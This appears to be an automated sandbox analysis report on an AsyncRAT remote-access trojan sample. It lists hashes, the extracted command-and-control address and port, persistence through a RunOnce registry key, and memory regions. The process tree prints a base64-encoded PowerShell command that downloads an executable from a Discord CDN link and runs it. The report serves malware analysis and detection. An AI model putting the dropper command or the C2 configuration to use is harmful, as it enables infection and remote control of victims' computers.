Analysis
-
max time kernel
146s -
max time network
151s -
platform
windows10-1703_x64 -
resource
win10-20220812-en -
resource tags
arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system -
submitted
01-01-2023 07:11
Static task
static1
Behavioral task
behavioral1
Sample
40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exe
Resource
win10-20220812-en
General
-
Target
40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exe
-
Size
6KB
-
MD5
73accc164cc2f2c2c6da99a79fe259e4
-
SHA1
b2762324f45f67d11dce99814eb864267d1255e5
-
SHA256
40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce
-
SHA512
057f2b402bd7cd779ba0a98e8b587464203f384b1d52d14cee41358f86dd0a821629646f54f0dd86ca2844fab1b2d6d14b945ae7550e337c724f485fc11f1898
-
SSDEEP
96:w79UZCFprxds+th4avk+IuAY2ssvk+IabCEBv8d3oj4rl:W9UoFpVds+77vkRYqvk0bC+8dr
Malware Config
Extracted
asyncrat
1.0.7
WindowsDefenderSmarttScreen
217.64.31.3:9742
WindowsDefenderSmarttScreen
-
delay
1
-
install
false
-
install_file
WindowsDefenderSmarttScreen.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/5052-198-0x0000000004F30000-0x0000000004F42000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 7 2604 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
6.exepid process 5052 6.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
6.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2482096546-1136599444-1359412500-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce 6.exe Set value (str) \REGISTRY\USER\S-1-5-21-2482096546-1136599444-1359412500-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe" 6.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 2604 powershell.exe 2604 powershell.exe 2604 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2604 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exepowershell.exedescription pid process target process PID 4776 wrote to memory of 2604 4776 40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exe powershell.exe PID 4776 wrote to memory of 2604 4776 40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exe powershell.exe PID 2604 wrote to memory of 5052 2604 powershell.exe 6.exe PID 2604 wrote to memory of 5052 2604 powershell.exe 6.exe PID 2604 wrote to memory of 5052 2604 powershell.exe 6.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exe"C:\Users\Admin\AppData\Local\Temp\40aeaa4aa2612caa8b0447eeb59980599e172cf9bf122f14b23235f8b27a59ce.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAZABpACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA3ADQAMQA0ADgANAA4ADkAMAA2ADAAMAA2ADYAMAA5AC8AMQAwADUANwA0ADEANQAxADcAMQAyADgAMAAyADEANgAxADcANgAvAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAB0AFMAYwByAGUAZQBuAC4AZQB4AGUAJwAsACAAPAAjAGkAcQBzACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAegB0AHgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcgBjAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANgAuAGUAeABlACcAKQApADwAIwBuAHAAYgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBlAG4AbgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZwBoAHIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANgAuAGUAeABlACcAKQA8ACMAeQBpAGgAIwA+AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\6.exe"C:\Users\Admin\AppData\Roaming\6.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\6.exeFilesize
4.2MB
MD5b60e44033994d1fde9a4b6f1338bfa04
SHA17f2cd8091276040ca011174269112099ec3e9bef
SHA256baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e
SHA512a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574
-
C:\Users\Admin\AppData\Roaming\6.exeFilesize
4.2MB
MD5b60e44033994d1fde9a4b6f1338bfa04
SHA17f2cd8091276040ca011174269112099ec3e9bef
SHA256baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e
SHA512a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574
-
memory/2604-121-0x0000000000000000-mapping.dmp
-
memory/2604-126-0x000002587D420000-0x000002587D442000-memory.dmpFilesize
136KB
-
memory/2604-129-0x000002587D650000-0x000002587D6C6000-memory.dmpFilesize
472KB
-
memory/4776-120-0x0000000000210000-0x0000000000218000-memory.dmpFilesize
32KB
-
memory/5052-144-0x0000000000000000-mapping.dmp
-
memory/5052-147-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-148-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-149-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-150-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-151-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-152-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-154-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-156-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-157-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-158-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-153-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-159-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-161-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-162-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-160-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-163-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-164-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-165-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-167-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-169-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-170-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-171-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-168-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-166-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-172-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-173-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-174-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-175-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-176-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-177-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-178-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-179-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-180-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-181-0x00000000002B0000-0x00000000006DE000-memory.dmpFilesize
4.2MB
-
memory/5052-182-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-183-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-184-0x0000000004F40000-0x0000000004FDC000-memory.dmpFilesize
624KB
-
memory/5052-185-0x00000000054E0000-0x00000000059DE000-memory.dmpFilesize
5.0MB
-
memory/5052-186-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-187-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-188-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-189-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-190-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-191-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-192-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-193-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-194-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-195-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-196-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-197-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-198-0x0000000004F30000-0x0000000004F42000-memory.dmpFilesize
72KB
-
memory/5052-199-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-200-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-201-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-202-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-203-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-204-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-205-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-206-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB
-
memory/5052-207-0x00000000776F0000-0x000000007787E000-memory.dmpFilesize
1.6MB